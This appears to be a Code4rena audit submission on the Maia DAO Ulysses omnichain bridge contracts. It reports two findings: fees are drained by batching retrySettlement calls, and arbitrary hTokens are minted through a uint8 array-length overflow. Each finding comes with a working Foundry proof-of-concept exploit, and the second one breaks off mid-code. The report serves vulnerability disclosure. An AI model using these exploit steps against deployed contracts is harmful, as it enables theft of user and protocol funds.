Maia DAO Ecosystem - Voyvoda's results

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L238-L272 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L1018-L1054 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L244-L252 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/VirtualAccount.sol#L41-L53 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L1177-L1216 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/MulticallRootRouter.sol#L345-L409

Vulnerability details

Impact

Accumulated Awards inside RootBridgeAgent.sol can be stolen. Accumulated Awards state will be compromised and awards will be stuck.

Note

End-to-end coded PoC is at the end of PoC section.

Proof of Concept

Gas state

The gas related state inside RootBridgeAgent consists of

initialGas - a checkpoint that records gasleft() at the start of anyExecute that has been called by Multichain when we have a cross-chain call.

userFeeInfo - this is a struct that contains depositedGas which is the total amount of gas that the user has paid for on a BranchChain. The struct also contains gasToBridgeOut which is the amount of gas to be used for further cross-chain executions. The assumption is that gasToBridgeOut < depositedGas which is checked at the start of anyExecute(...) .

At the end of anyExecute(...) - _payExecutionGas() is invoked that calculates the supplied gas available for execution on the Root avaliableGas = _depositedGas - _gasToBridgeOut and then a check is performed if availableGas is enough to cover minExecCost , (which uses the initialGas checkpoint and subtracts a second gasleft() checkpoint to represent the end of execution on the Root. The difference between availableGas and minExecCost is profit for the protocol and is recorded inside accumulatedFees state variable.

function _payExecutionGas(uint128 _depositedGas, uint128 _gasToBridgeOut, uint256 _initialGas, uint24 _fromChain)
        internal
    {
        //reset initial remote execution gas and remote execution fee information
        delete(initialGas);
        delete(userFeeInfo);

        if (_fromChain == localChainId) return;

        //Get Available Gas
        uint256 availableGas = _depositedGas - _gasToBridgeOut;

        //Get Root Environment Execution Cost
        uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft());

        //Check if sufficient balance
        if (minExecCost > availableGas) {
            _forceRevert();
            return;
        }

        //Replenish Gas
        _replenishGas(minExecCost);

        //Account for excess gas
        accumulatedFees += availableGas - minExecCost;
    }

Settlements

These are records of token’s that are “bridged out”(transferred) through the RootBridgeAgent to a BranchBridgeAgent . By default when a settlement is created it is Successful, unless execution on the Branch Chain fails and anyFallback(...) is called on the RootBridgeAgent which will set the settlement status as Failed. An example way to create a settlement will be to bridge out some assets from BranchBridgeAgent to RootBridgeAgent and embed extra data that represents another bridge operation from RootBridgeAgent to BranchBridgeAgent ( this flow passes through the MulticallRootRouter & could be the same branch agent as the first one or different) - at this point a settlement will be created. Moreover, a settlement could fail, for example, because of insufficient gasToBridgeOut provided by the user. In that case anyFallback is triggered on the RootBridgeAgent failing the settlement. At this time retrySettlement() becomes available to call for the particular settlement.

The attack

Let’s first examine closely the retrySettlement() function.

function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable {
        //Update User Gas available.
        if (initialGas == 0) {
            userFeeInfo.depositedGas = uint128(msg.value);
            userFeeInfo.gasToBridgeOut = _remoteExecutionGas;
        }
        //Clear Settlement with updated gas.
        _retrySettlement(_settlementNonce);
    }

If initialGas == 0 it is assumed that someone directly calls retrySettlement(...) and therefore has to deposit gas (msg.value), however, if initialGas > 0 it is assumed that retrySettlement(...) could be part of an anyExecute(...) call that contained instructions for the MulticallRootRouter to do the call through a VirtualAccount . Let’s assume the second scenario where initialGas > 0 and examine the internal _retrySettlement.

First we have the call to _manageGasOut(...) , where again if initialGas > 0 we assume that the retrySettlement(...) is within an anyExecute , and therefore userFeeInfo state is already set. From there we perform a _gasSwapOut(...) with userFeeInfo.gasToBridgeOut where we swap gasToBridgeOut amount of wrappedNative for gas tokens that are burned. Then back in the internal _retrySettlement(...) the new gas is recorded in the settlement record and the message is sent to a Branch Chain via anyCall.

The weakness here is that after we retry a settlement with userFeeInfo.gasToBridgeOut we do not set userFeeInfo.gasToBridgeOut = 0 , which if we perform only 1 retrySettlement(...) is not exploitable, however, if we embed in a single anyExecute(...) several retrySettlement(...) calls it becomes obvious that we can pay 1 time for gasToBridgeOut on a Branch Chain and use it multiple times on the RootChain to fuel the many retrySettlement(...).

The second feature that will be part of the attack is that on a Branch Chain we get refunded for the excess of gasToBridgeOut that wasn’t used for execution on the Branch Chain.

function _retrySettlement(uint32 _settlementNonce) internal returns (bool) {
        //Get Settlement
        Settlement memory settlement = getSettlement[_settlementNonce];

        //Check if Settlement hasn't been redeemed.
        if (settlement.owner == address(0)) return false;

        //abi encodePacked
        bytes memory newGas = abi.encodePacked(_manageGasOut(settlement.toChain));

        //overwrite last 16bytes of callData
        for (uint256 i = 0; i < newGas.length;) {
            settlement.callData[settlement.callData.length - 16 + i] = newGas[i];
            unchecked {
                ++i;
            }
        }

        Settlement storage settlementReference = getSettlement[_settlementNonce];

        //Update Gas To Bridge Out
        settlementReference.gasToBridgeOut = userFeeInfo.gasToBridgeOut;

        //Set Settlement Calldata to send to Branch Chain
        settlementReference.callData = settlement.callData;

        //Update Settlement Staus
        settlementReference.status = SettlementStatus.Success;

        //Retry call with additional gas
        _performCall(settlement.callData, settlement.toChain);

        //Retry Success
        return true;
    }

An attacker will trigger some number of callOutAndBridge(...) invocations from a Branch Chain with some assets and extra data that will call callOutAndBridge(...) on the Root Chain to transfer back these assets to the originating Branch Chain (or any other Branch Chain), however, the attacker will set minimum depositedGas to ensure execution on the Root Chain, but insufficient gas to complete remote execution on the Branch Chain, therefore, failing a number of settlements. The attacker will then follow with a callOutAndBridge(...) from a Branch Chain that contains extra data for the MutlicallRouter for the VirtualAccount to call retrySettlement(...) for every Failed settlement. Since we will have multiple retrySettlement(...) invocations inside a single anyExecute at some point the gasToBridgeOut sent to each settlement will become > the deposited gas and we will be spending from the Root Branch reserves (accumulated rewards). The attacker will redeem his profit on the Branch Chain, since he gets a gas refund there, and there will also be a mismatch between accumulatedRewards and the native currency in RootBridgeAgent , therefore, sweep() will revert and any accumulatedRewards that are left will be bricked.

Coded PoC

Copy the two functions testGasIssue & _prepareDeposit in test/ulysses-omnichain/RootTest.t.sol and place them in the RootTest contract after the setup.

Execute with forge test --match-test testGasIssue -vv

Result - attacker starts with 1000000000000000000 wei (1 ether) and has 1169999892307980000 wei (>1 ether) after execution of attack (the end number could be slightly different, depending on foundry version). Mismatch between accumulatedRewards and the amount of WETH in the contract.

Note - there are console logs added from the developers in some of the mock contracts, consider commenting them out for clarity of the output.

function testGasIssue() public {
        testAddLocalTokenArbitrum();
        console2.log("---------------------------------------------------------");
        console2.log("-------------------- GAS ISSUE START---------------------");
        console2.log("---------------------------------------------------------");
        // Accumulate rewards in RootBridgeAgent
        address some_user = address(0xAAEE);
        hevm.deal(some_user, 1.5 ether);
        // Not a valid flag, MulticallRouter will return false, that's fine, we just want to credit some fees
        bytes memory empty_params = abi.encode(bytes1(0x00));
        hevm.prank(some_user);
        avaxMulticallBridgeAgent.callOut{value: 1.1 ether }(empty_params, 0);

        // Get the global(root) address for the avax H mock token
        address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);

        // Attacker starts with 1 ether
        address attacker = address(0xEEAA);
        hevm.deal(attacker, 1 ether);
        
        // Mint 1 ether of the avax mock underlying token
        hevm.prank(address(avaxPort));
        
        MockERC20(address(avaxMockAssetToken)).mint(attacker, 1 ether);
        
        // Attacker aproves the underlying token
        hevm.prank(attacker);
        MockERC20(address(avaxMockAssetToken)).approve(address(avaxPort), 1 ether);

        
        // Print out the amounts of WrappedNative & AccumulateAwards state 
        console2.log("RootBridge WrappedNative START",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
        console2.log("RootBridge ACCUMULATED FEES START", multicallBridgeAgent.accumulatedFees());

        // Attacker's underlying avax mock token balance
        console2.log("Attacker underlying token balance avax", avaxMockAssetToken.balanceOf(attacker));

        // Prepare a single deposit with remote gas that will cause the remote exec from the root to branch to fail
        // We will have to mock this fail since we don't have the MultiChain contracts, but the provided 
        // Mock Anycall has anticipated for that

        DepositInput memory deposit = _prepareDeposit();
        uint128 remoteExecutionGas = 2_000_000_000;

        Multicall2.Call[] memory calls = new Multicall2.Call[](0);

        OutputParams memory outputParams = OutputParams(attacker, globalAddress, 500, 500);
        
        bytes memory params = abi.encodePacked(bytes1(0x02),abi.encode(calls, outputParams, avaxChainId));

        console2.log("ATTACKER ETHER BALANCE START", attacker.balance);

        // Toggle anyCall for 1 call (Bridge -> Root), this config won't do the 2nd anyCall
        // Root -> Bridge (this is how we mock BridgeAgent reverting due to insufficient remote gas)
        MockAnycall(localAnyCallAddress).toggleFallback(1);

        // execute
        hevm.prank(attacker);
        // in reality we need 0.00000002 (supply a bit more to make sure we don't fail execution on the root)
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether }(params, deposit, remoteExecutionGas);

        // Switch to normal mode 
        MockAnycall(localAnyCallAddress).toggleFallback(0);
        // this will call anyFallback() on the Root and Fail the settlement
        MockAnycall(localAnyCallAddress).testFallback();

        // Repeat for 1 more settlement
        MockAnycall(localAnyCallAddress).toggleFallback(1);
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether}(params, deposit, remoteExecutionGas);
        
        MockAnycall(localAnyCallAddress).toggleFallback(0);
        MockAnycall(localAnyCallAddress).testFallback();
        
        // Print out the amounts of WrappedNative & AccumulateAwards state  after failing the settlements but before the attack 
        console2.log("RootBridge WrappedNative AFTER SETTLEMENTS FAILUER BUT BEFORE ATTACK",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
        console2.log("RootBridge ACCUMULATED FEES AFTER SETTLEMENTS FAILUER BUT BEFORE ATTACK", multicallBridgeAgent.accumulatedFees());

        // Encode 2 calls to retrySettlement(), we can use 0 remoteGas arg since 
        // initialGas > 0 because we execute the calls as a part of an anyExecute()
        Multicall2.Call[] memory malicious_calls = new Multicall2.Call[](2);

        bytes4 selector = bytes4(keccak256("retrySettlement(uint32,uint128)"));

        malicious_calls[0] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,1,0)});
        malicious_calls[1] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,2,0)});
        // malicious_calls[2] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,3,0)});
        
        outputParams = OutputParams(attacker, globalAddress, 500, 500);
        
        params = abi.encodePacked(bytes1(0x02),abi.encode(malicious_calls, outputParams, avaxChainId));

        // At this point root now has ~1.1 
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.1 ether}(params, deposit, 0.09 ether);
        
        // get attacker's virtual account address
        address vaccount = address(rootPort.getUserAccount(attacker));

        console2.log("ATTACKER underlying balance avax", avaxMockAssetToken.balanceOf(attacker));
        console2.log("ATTACKER global avax h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));

        console2.log("ATTACKER ETHER BALANCE END", attacker.balance);
        console2.log("RootBridge WrappedNative END",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
        console2.log("RootBridge ACCUMULATED FEES END", multicallBridgeAgent.accumulatedFees());
        console2.log("---------------------------------------------------------");
        console2.log("-------------------- GAS ISSUE END ----------------------");
        console2.log("---------------------------------------------------------");

    }

    function _prepareDeposit() internal returns(DepositInput memory) {
        // hToken address
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        uint256 amount1 = 500;
        uint256 amount2 = 500;

        uint24 toChain = rootChainId;

        return DepositInput({
            hToken:addr1,
            token:addr2,
            amount:amount1,
            deposit:amount2,
            toChain:toChain
        });

    }

Tools used

Manual inspection

Reccomendation

It is hard to conclude a particular fix but consider setting userFeeInfo.gasToBridgeOut = 0 after retrySettlement as part of the mitigation.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275-L316 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgentExecutor.sol#L259-L299 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L404-L426 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootPort.sol#L276-L284

Vulnerability details

Impact

Adversary can construct an attack vector that let’s him mint arbitrary amount of hToken’s on the Root Chain.

Note

End-to-end coded PoC is at the end of PoC section.

Proof of Concept

Background

The attack will start on a Branch Chain where we have some underlying ERC20 token and a corresponding hToken that represents token within the omnichain system. The callOutSignedAndBridgeMultiple(...) function is supposed to bridge multiple tokens to a destination chain and also carry the msg.sender so that the tokens can be credited to msg.sender's VirtualAccount. The attacker will call the function with such DepositMultipleInputParams _dParams that take advantage of several weaknesses contained within the function (below is an overview of DepositMultipleInput struct & flow diagram of BranchBridgeAgent).

struct DepositMultipleInput {
    //Deposit Info
    address[] hTokens; //Input Local hTokens Address.
    address[] tokens; //Input Native / underlying Token Address.
    uint256[] amounts; //Amount of Local hTokens deposited for interaction.
    uint256[] deposits; //Amount of native tokens deposited for interaction.
    uint24 toChain; //Destination chain for interaction.
}

flowchart TB
A["callOutSignedAndBridgeMultiple(,DepositMultipleInput memory _dParams,)"] 
-->|1 |B["_depositAndCallMultiple(...)"]
    B --> |2| C["_createDepositMultiple(...)"]
    B --> |4| D["__performCall(_data)"]
    C --> |3| E["IPort(address).bridgeOutMultiple(...)"]

Weakness #1 is that the supplied array of tokens address[] hTokens in _dParams is not checked if it exceeds 256, this causes an obvious issue where if hTokens length is > 256 the recorded length in packedData will be wrong since it's using an unsafe cast to uint8 and will overflow - uint8(_dParams.hTokens.length) .

function callOutSignedAndBridgeMultiple(
        bytes calldata _params,
        DepositMultipleInput memory _dParams,
        uint128 _remoteExecutionGas
    ) external payable lock requiresFallbackGas {
        // code ...

        //Encode Data for cross-chain call.
        bytes memory packedData = abi.encodePacked(
            bytes1(0x06),
            msg.sender,
            uint8(_dParams.hTokens.length),
            depositNonce,
            _dParams.hTokens,
            _dParams.tokens,
            _dParams.amounts,
            _deposits,
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );
				
				// code ...
				_depositAndCallMultiple(...);
    }

Weakness #2 arises in the subsequent internal function _depositAndCallMultiple(...), where the only check done on the supplied hTokens, tokens, amounts & deposits arrays is if the lengths match, however, there is no check if the length is the same as the one passed earlier to packedData.

function _depositAndCallMultiple(
        address _depositor,
        bytes memory _data,
        address[] memory _hTokens,
        address[] memory _tokens,
        uint256[] memory _amounts,
        uint256[] memory _deposits,
        uint128 _gasToBridgeOut
    ) internal {
        //Validate Input
        if (
            _hTokens.length != _tokens.length || _tokens.length != _amounts.length
                || _amounts.length != _deposits.length
        ) revert InvalidInput();

        //Deposit and Store Info
        _createDepositMultiple(_depositor, _hTokens, _tokens, _amounts, _deposits, _gasToBridgeOut);

        //Perform Call
        _performCall(_data);
    }

Lastly, weakness #3 is that bridgeOutMultiple(...), called within _createDepositMultiple(...), allows for supplying any address in the hTokens array since it only performs operations on these addresses if -

_deposits[i] > 0 or _amounts[i] - _deposits[i] > 0 - in other words - if we set deposits[i] = 0 & amounts[i] = 0 we can supply ANY address in hTokens[i].

function bridgeOutMultiple(
        address _depositor,
        address[] memory _localAddresses,
        address[] memory _underlyingAddresses,
        uint256[] memory _amounts,
        uint256[] memory _deposits
    ) external virtual requiresBridgeAgent {
        for (uint256 i = 0; i < _localAddresses.length;) {
            if (_deposits[i] > 0) {
                _underlyingAddresses[i].safeTransferFrom(
                    _depositor,
                    address(this),
                    _denormalizeDecimals(_deposits[i], ERC20(_underlyingAddresses[i]).decimals())
                );
            }
            if (_amounts[i] - _deposits[i] > 0) {
                _localAddresses[i].safeTransferFrom(_depositor, address(this), _amounts[i] - _deposits[i]);
                ERC20hTokenBranch(_localAddresses[i]).burn(_amounts[i] - _deposits[i]);
            }
            unchecked {
                i++;
            }
        }
    }

Supplying the attack vector

The attacker will construct such DepositMultipleInput _dParams where address[] hTokens will have a length of 257 where all entries, except hTokens[1], hTokens[2] & hTokens[3] , will contain the Branch address of the same hToken (note that in the examined functions above there is no restriction to supply the same hToken address multiple times).

In a similar way address[] tokens will have length of 257, however, here all entries will contain the underlying token (it is crucial to include the address of the underlying token to bypass _normalizeDecimals).

Next uint256[] amounts will be of length 257 where all entries will contain 0. Similarly

uint256[] deposits will be of length 257 where all entries will contain 0. In such configuration the attacker is able to supply a malicious hToken address as per weakness #3.

The crucial part now is that hTokens[1] will contain the address of the underlying token - this is needed to later bypass the params check on the RootChain.

hTokens[2] & hTokens[3] will contain the attacker’s malicious payload address that when converted to bytes and then uint256 will represent the arbitrary amount of tokens that the attacker will mint (this conversion will happen on the RootChain).

This is how the attack vector looks expressed in code.

				// hToken address, note the "h" in the var name
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        // 0x2FAF0800 when packed to bytes and then cast to uint256 = 800000000
				// this amount will be minted on Root 
        address malicious_address = address(0x2FAF0800);
        
        uint256 amount1 = 0;
        uint256 amount2 = 0;

        uint num = 257;
        address[] memory htokens = new address[](num);
        address[] memory tokens = new address[](num);
        uint256[] memory amounts = new uint256[](num);
        uint256[] memory deposits = new uint256[](num);

        for(uint i=0; i<num; i++) {
            htokens[i] = addr1;
            tokens[i] = addr2;
            amounts[i] = amount1;
            deposits[i] = amount2;
        }
    
        // address of the underlying token
        htokens[1] = addr2;
      
        // copy of entry containing the arbitrary number of tokens
        htokens[2] = malicious_address;
        
        // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
        htokens[3] = malicious_address;
       
        uint24 toChain = rootChainId;

        // create input
        DepositMultipleInput memory input = DepositMultipleInput({
            hTokens:htokens,
            tokens:tokens,
            amounts:amounts,
            deposits:deposits,
            toChain:toChain
        });

Essentially what happens now is that the attacker has packedData that contains 257 hTokens, tokens, amounts & deposits , however due to weakness #1 the recorded length is 1 and due to weakness #2 and #3 this construction of the Input will reach _peformCal(data) and the mismatch between the number of entries and the actual number of supplied entries will cause malicious behavior on the RootChain.

bytes memory packedData = abi.encodePacked(
            bytes1(0x06),
            msg.sender,
            uint8(_dParams.hTokens.length),
            depositNonce,
            _dParams.hTokens,
            _dParams.tokens,
            _dParams.amounts,
            _deposits,
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );

The attack vector is inline with the general encoding scheme displayed below, the important note is that Length will contain a value of 1 instead of 257 which will disrupt the decoding on the RootBranch. More details about the encoding can be found in IRootBridgeAgent.sol .

+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
|  Flag  |  Signer  | Length | depositNonce | hTokens[0], [1] ... [256] | tokens[0] ... [256] | amounts[0] ... [256] | deposits[0] ... [256] | toChain | data |   gas    |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
| 1 byte | 20 bytes | 1 byte |   4 bytes    |       32 bytes * 257      |    32 bytes * 257   |    32 bytes * 257    |     32 bytes * 257    | 3 bytes | any  | 32 bytes |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+

RootBranch receives the attack vector

The entry point for a message on the Root Chain is anyExecute(bytes calldata data) in RootBridgeAgent.sol - this will be called by Multichain’s AnycallExecutor. The function will unpack and navigate the supplied flag 0x06 - corresponding to callOutSignedAndBridgeMultiple(...) that was invoked on the Branch Chain.

Next executeSignedWithDepositMultiple(...)will be invoked residing in RootBridgeAgentExecutor.sol, which will subsequently call _bridgeInMultiple(...), however, the amount of data passed to _bridgeInMultiple(...) depends on the packed length of the hTokens array.

function executeSignedWithDepositMultiple(
        address _account,
        address _router,
        bytes calldata _data,
        uint24 _fromChainId
    ) external onlyOwner returns (bool success, bytes memory result) {
        //Bridge In Assets
        DepositMultipleParams memory dParams = _bridgeInMultiple(
            _account,
            _data[
                PARAMS_START_SIGNED:
                    PARAMS_END_SIGNED_OFFSET
                        + uint16(uint8(bytes1(_data[PARAMS_START_SIGNED]))) * PARAMS_TKN_SET_SIZE_MULTIPLE
            ],
            _fromChainId
        );

				// more code ...

If we examine closer the constants and check with the encoding scheme -

PARAMS_START_SIGNED = 21

PARAMS_END_SIGNED_OFFSET = 29

PARAMS_TKN_SET_SIZE_MULTIPLE = 128,

Here the intended behavior is that _data is sliced in such a way that it removes the flag bytes1(0x06) and the msg.sender address, hence we start at byte 21, we have 29 to account for the bytes4(nonce), bytes3(chainId) and bytes1(length) (total of 8 bytes, but remember that byte slicing is exclusive of the second byte index) + uint16(length) * 128 for every set of htoken token amount & deposit . What will happen in the attack case is that _data will be cut short since length will be 1 instead of 257 and _data will contain length, nonce, chainId and the first 4 entries of the constructed hTokens[] array.

Now _bridgeInMultiple will unpack the _dParams where numOfAssets = 1, hence only 1 iteration, and will populate a set with in reality the first 4 entries of the supplied hTokens[] in the attack vector -

hTokens[0] = hToken address,

tokens[0] = token address,

amounts[0] = malicious address payload cast to uint256,

deposits[0] = malicious address payload cast to uint256.

function _bridgeInMultiple(address _recipient, bytes calldata _dParams, uint24 _fromChain)
        internal
        returns (DepositMultipleParams memory dParams)
    {
        // Parse Parameters
        uint8 numOfAssets = uint8(bytes1(_dParams[0]));
        uint32 nonce = uint32(bytes4(_dParams[PARAMS_START:5]));
        uint24 toChain = uint24(bytes3(_dParams[_dParams.length - 3:_dParams.length]));

        address[] memory hTokens = new address[](numOfAssets);
        address[] memory tokens = new address[](numOfAssets);
        uint256[] memory amounts = new uint256[](numOfAssets);
        uint256[] memory deposits = new uint256[](numOfAssets);

        for (uint256 i = 0; i < uint256(uint8(numOfAssets));) {
            //Parse Params
            hTokens[i] = address(
                uint160(
                    bytes20(
                        bytes32(
                            _dParams[
                                PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * i) + 12:
                                    PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * (PARAMS_START + i))
                            ]
                        )
                    )
                )
            );

            tokens[i] = address(
                uint160(
                    bytes20(
                        _dParams[
                            PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(i + numOfAssets) + 12:
                                PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i + numOfAssets)
                        ]
                    )
                )
            );

            amounts[i] = uint256(
                bytes32(
                    _dParams[
                        PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
                            PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets)
                                + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
                    ]
                )
            );

            deposits[i] = uint256(
                bytes32(
                    _dParams[
                        PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
                            PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets)
                                + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
                    ]
                )
            );

            unchecked {
                ++i;
            }
        }
        //Save Deposit Multiple Params
        dParams = DepositMultipleParams({
            numberOfAssets: numOfAssets,
            depositNonce: nonce,
            hTokens: hTokens,
            tokens: tokens,
            amounts: amounts,
            deposits: deposits,
            toChain: toChain
        });

        RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient, dParams, _fromChain);
    }

Subsequently bridgeInMultiple(...) is called in RootBridgeAgent.sol, where bridgeIn(...) is called for every set of hToken, token, amount & deposit - one iteration in the attack scenario.

bridgeIn(...) now performs the critical checkParams from the CheckParamsLib library where if only 1 of 3 conditions is true we will have a revert.

The first check is revert if _dParams.amount < _dParams.deposit - this is false since amount & deposit are equal to the uint256 cast of the bytes packing of the malicious address payload.

The second check is:

(_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain))

Here it’s true amount > 0 , however, _dParams.hToken is the first entry hTokens[0] of the attack vector’s hTokens[] array, therefore, it is a valid address & isLocalToken(…) will return true and will be negated by ! which will make the statement false because of &&, therefore, it is bypassed.

The third check is:

(_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain))

here it’s true deposit > 0 , however, _dParams.token is the second entry hTokens[1] of the attack vector’s hTokens[] array, therefore, it is a valid underlying address & isUnderlyingToken(…) will return true and will be negated by ! which will make the statement false because of &&, therefore, it is bypassed.

Whole checkParams(…)

function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain)
        internal
        view
        returns (bool)
    {
        if (
            (_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount.
                || (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists.
                || (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists.
        ) {
            return false;
        }
        return true;
    }

Now back to bridgeIn(...) in RootBridgeAgent we get the globalAddress for _dParams.hToken (again this is the valid hToken[0] address from Branch Chain) and bridgeToRoot(...) is called that resides in RootPort.sol.

		//Get global address
    address globalAddress = IPort(localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _fromChain);

    //Check if valid asset
    if (globalAddress == address(0)) revert InvalidInputParams();

    //Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit
    IPort(localPortAddress).bridgeToRoot(_recipient, globalAddress, _dParams.amount, _dParams.deposit, _fromChain);

bridgeToRoot(...) will check if the globalAddress is valid and it is since we got it from the valid hTokens[0] entry in the constructed attack. Then _amount - _deposit = 0 , therefore, no tokens will be transferred and finally the critical line if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId) here _deposit is the malicious address payload that was packed to bytes and then unpacked and cast to uint256 & _hToken is the global address that we got from hTokens[0] back in the unpacking, therefore whatever the value of the uint256 representation of the malicious address is will be minted to the attacker.

Coded PoC

Copy the two functions testArbitraryMint & _prepareAttackVector in test/ulysses-omnichain/RootTest.t.sol and place them in the RootTest contract after the setup.

Execute with forge test --match-test testArbitraryMint -vv

Result - 800000000 minted tokens for free in attacker’s Virtual Account

function testArbitraryMint() public {
        
        // setup function used by developers to add local/global tokens in the system
        testAddLocalTokenArbitrum();

        // set attacker address & mint 1 ether to cover gas cost
        address attacker = address(0xAAAA);
        hevm.deal(attacker, 1 ether);
        
        // get avaxMockAssetHtoken global address that's on the Root
        address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);
    
        // prepare attack vector
        bytes memory params = "";
        DepositMultipleInput memory dParams = _prepareAttackVector();
        uint128 remoteExecutionGas = 200_000_000_0;

        console2.log("------------------");
        console2.log("------------------");
        console2.log("ARBITRARY MINT LOG");

        console2.log("Attacker address", attacker);
        console2.log("Avax h token address",avaxMockAssethToken);
        console2.log("Avax underlying address", address(avaxMockAssetToken));

        console2.log("Attacker h token balance", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));
        console2.log("Attacker underlying balance", avaxMockAssetToken.balanceOf(attacker));

        // execute attack
        hevm.prank(attacker);
        avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value: 0.00005 ether}(params, dParams, remoteExecutionGas);
        
        // get attacker's virtual account address
        address vaccount = address(rootPort.getUserAccount(attacker));

        console2.log("Attacker h token balance avax", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));        
        console2.log("Attacker underlying balance avax", avaxMockAssetToken.balanceOf(attacker));

        console2.log("Attacker h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));
    
        console2.log("ARBITRARY MINT LOG END");
		    console2.log("------------------");

    }

    function _prepareAttackVector() internal view returns(DepositMultipleInput memory) {
        
        // hToken address
        address addr1 = avaxMockAssethToken;

        // underlying address
        address addr2 = address(avaxMockAssetToken);

        // 0x2FAF0800 when encoded to bytes and then cast to uint256 = 800000000 
        address malicious_address = address(0x2FAF0800);
        
        uint256 amount1 = 0;
        uint256 amount2 = 0;

        uint num = 257;
        address[] memory htokens = new address[](num);
        address[] memory tokens = new address[](num);
        uint256[] memory amounts = new uint256[](num);
        uint256[] memory deposits = new uint256[](num);

        for(uint i=0; i<num; i++) {
            htokens[i] = addr1;
            tokens[i] = addr2;
            amounts[i] = amount1;
            deposits[i] = amount2;
        }
    
        // address of the underlying token
        htokens[1] = addr2;
      
        // copy of entry containing the arbitrary number of tokens
        htokens[2] = malicious_address;
        
        // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
        htokens[3] = malicious_address;
       
        uint24 toChain = rootChainId;

        // create input
        DepositMultipleInput memory input = DepositMultipleInput({
            hTokens:htokens,
            tokens:tokens,
            amounts:amounts,
            deposits:deposits,
